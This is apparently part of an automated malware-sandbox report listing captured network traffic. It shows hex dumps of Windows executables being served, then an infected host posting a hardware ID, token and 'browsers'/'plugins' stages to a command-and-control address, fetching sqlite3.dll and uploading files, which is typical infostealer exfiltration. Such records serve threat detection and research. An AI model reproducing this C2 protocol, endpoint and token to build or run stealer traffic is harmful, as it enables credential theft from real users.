00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 31 31 34 39 36 46 35 46 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="hwid"CE11496F5F74525370364------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="build"doma------CBAFIDAECBGCBFHJEBGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="message"browsers------IDBFHCGCGDAAKFIECFHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"plugins------DAECAECFCAAEBFHIEHDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"fplugins------HJDBAFIECGHCBFIDGDAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKEHost: 185.215.113.37Content-Length: 6399Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBGHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 2d 2d 0d 0a Data Ascii: ------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file"------FIDGDAKFHIEHJKFHDHDB--
